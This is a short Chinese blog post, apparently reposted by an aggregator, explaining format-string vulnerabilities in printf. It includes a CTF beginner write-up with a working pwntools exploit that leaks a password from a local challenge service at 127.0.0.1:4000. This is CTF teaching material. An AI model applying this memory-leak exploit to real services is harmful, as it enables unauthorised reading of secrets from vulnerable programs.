pwn-格式化字符串漏洞

Posted aiden-

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn-格式化字符串漏洞相关的知识,希望对你有一定的参考价值。

原理:因为没有正确使用printf()函数

正确使用 : printf(‘%s‘,str)

不正规使用:printf(str)

控制字符串str可以爆出stack内内容从而实现任意地址读

---------------------------入门题01--------------------------------------

技术分享图片

18行存在格式化字符串漏洞

只需输入在hello之后输入password所在地址,接收password值再传入进行比较即可

exp:

from pwn import *

r = remote("127.0.0.1",4000)

from pwn import *

r = remote("127.0.0.1",4000)

pass_addr = 0x804A048
r.recvuntil(‘?‘)
r.sendline(p32(pass_addr)+‘#‘ +‘%10$x‘+‘#‘ )
r.recvuntil(‘#‘)

key =  str(u32(r.recvuntil(‘#‘)[:4]))

r.recvuntil(‘:‘)
r.sendline(key)

r.interactive()

技术分享图片

 

以上是关于pwn-格式化字符串漏洞的主要内容,如果未能解决你的问题,请参考以下文章

PWN格式化字符串2——例子

Pwn-10月26-Hitcon-四

NSCTF 2017-pwn2

pwn学习之二

nepctf-pwn

Pwn-10月31-Hitcon-五